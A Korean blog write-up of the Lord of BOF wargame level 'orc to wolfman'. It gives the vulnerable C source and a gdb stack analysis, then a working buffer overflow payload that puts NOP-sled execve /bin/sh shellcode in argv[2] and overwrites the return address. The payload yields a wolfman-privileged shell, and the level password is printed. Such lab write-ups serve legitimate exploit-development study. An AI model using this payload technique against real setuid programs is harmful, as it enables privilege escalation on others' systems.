[5] orc -> wolfman ( argv[2] 활용 )

2017. 11. 17. 13:18SystemHacking/LOB(BOF원정대)

orc / cantata

[orc@localhost orc]$ /bin/bash2

[orc@localhost orc]$ export SHELL=/bin/bash2


[ wolfman.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter -> 환경변수 초기화
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // buffer hunter -> 버퍼 
        memset(buffer, 040);
}
 
cs


마지막 코드에서 memset()함수를 통해서 버퍼를 초기화 하고있다

따라서 leave , ret 어셈블리 코드 실행 시 버퍼에 올려놓은 쉘 코드는 초기화 된다

이전 문제에서 buffer 부분에 쉘 코드를 입력해서 공격을 시도했다면, 지금은 불가능하다

따라서 argc , argv[0] , argv[2] 부분에 쉘 코드를 올려서 공격을 시도해야한다


[ Stack 구조 ]

i                4byte

buffer         40byte <-- 초기화 !

saved ebp    4byte

saved eip     RET   

argc    

argv[0]

argv[1]

argv[2]


< 풀이 과정 >

풀이 과정은 이전 문제와 똑같다. 두 번째 인자에 쉘 코드를 올려놓고 RET를 두 번째 인자의 위치로 변조시키면 된다


[ gdb를 통한 분석 ]


[orc@localhost orc]$ cp wolfman wolfman.cp

[orc@localhost orc]$ gdb -q wolfman.cp

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:       push   %ebp

0x8048501 <main+1>:     mov    %ebp,%esp

0x8048503 <main+3>:     sub    %esp,44

.....

0x80485e3 <main+227>:   add    %esp,12

0x80485e6 <main+230>:   leave

0x80485e7 <main+231>:   ret


End of assembler dump.

(gdb) b *0x80485e6

Breakpoint 1 at 0x80485e6


(gdb) run $(python -c 'print "A" * 44 + "\xbf\xbf\xbf\xbf"') $(python -c 'print "B" * 1024')

Starting program: /home/orc/wolfman.cp $(python -c 'print "A" * 44 + "\xbf\xbf\xbf\xbf"') $(python -c 'print "B" * 1024')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒


Breakpoint 1, 0x80485e6 in main ()

(gdb) x/24x $ebp-40

0xbffff6d0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff6e0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff6f0:     0x00000000      0x00000000      0x41414141      0xbfbfbfbf <-- saved eip

0xbffff700:     0x00000000      0xbffff744      0xbffff754      0x40013868

0xbffff710:     0x00000003      0x08048450      0x00000000      0x08048471

0xbffff720:     0x08048500      0x00000003      0xbffff744      0x08048390

(gdb)

0xbffff730:     0x0804861c      0x4000ae60      0xbffff73c      0x40013e90

 [ argc ]        [ argv[0] ]     [ argv[1] ]     [ argv[2] ]

0xbffff740:     0x00000003      0xbffff844      0xbffff859      0xbffff88a <-- 두 번째 인자의 주소


0xbffff750:     0x00000000      0xbffffc8b      0xbffffc99      0xbffffcb2

0xbffff760:     0xbffffcd1      0xbffffcf3      0xbffffcfc      0xbffffebf

0xbffff770:     0xbffffede      0xbffffef7      0xbfffff0c      0xbfffff27

0xbffff780:     0xbfffff32      0xbfffff3e      0xbfffff46      0xbfffff50


(gdb) x/s 0xbffff844

0xbffff844:      "/home/orc/wolfman.cp"


(gdb) x/s 0xbffff859

0xbffff859:      'A' <repeats 44 times>, "▒▒▒▒"


(gdb) x/s 0xbffff88a

0xbffff88a:      'B' <repeats 200 times>...



saved eip => 두 번째 인자의 주소가 있는 주소값으로 변조한다

실행파일의 프롤로그 부분에서 ret : pop eip 실행 시 해당 주소의 값이 eip에 들어가고 NOP코드를 타고 흘러 쉘 코드가 실행된다


[ payload 작성 ]


[orc@localhost orc]$ ./wolfman $(python -c 'print "A" * 44 + "\x4c\xf7\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL▒▒▒

Segmentation fault


=> 보정작업 


[orc@localhost orc]$ ./wolfman $(python -c 'print "A" * 44 + "\x4c\xf9\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL▒▒▒

bash$ id

uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)

bash$ my-pass

euid = 505

love eyuna